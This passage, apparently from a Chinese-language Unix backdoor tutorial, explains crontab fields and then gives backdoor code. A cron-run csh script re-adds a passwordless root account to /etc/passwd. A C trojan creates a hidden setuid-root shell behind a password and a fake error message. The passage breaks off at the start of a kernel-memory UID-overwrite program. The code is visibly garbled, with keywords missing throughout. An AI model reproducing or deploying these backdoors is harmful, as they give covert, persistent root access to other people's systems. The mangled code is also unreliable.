(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb
1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行
以上内容设置该于每星期 3 0:0 运行要在 cron 建立后门只需在 /var/spool/crontab/root 中添加后门即可例如该可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效以下是举例:
0 0 * * * /usr/bin/retract
<> backdoor/backdoor.sh
#!/bin/csh
evilflag = (`grep eviluser /etc/passwd`)
($#evilflag 0) then
linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
end
<-->
[综合]
当然我们可以编写木马并把它放到 /bin 目录下当以特定命令行参数运行时将产生个 suid shell以下是举例:
<> backdoor/backdoor3.c
#
# pass "triad"
# BUFFERSIZE 6
(argc, argv)
argc;
char *argv;{
i=0;
(argv[1]){
(!(strcmp(pass,argv[1]))){
system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
prf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i){
fprf(stderr,".");
sleep(1);
}
prf("nAction aborted after 10 attempts.n");
(0);
}
<-->
[变种]
以下通过在内存中寻找你所运行 UID并将其改为 0这样你就有了个 suid root shell 了
<> backdoor/kmemthief.c
#
#
#
#
#
#
#
# pass "triad"
struct user userpage;
long address, userlocation;
(arg
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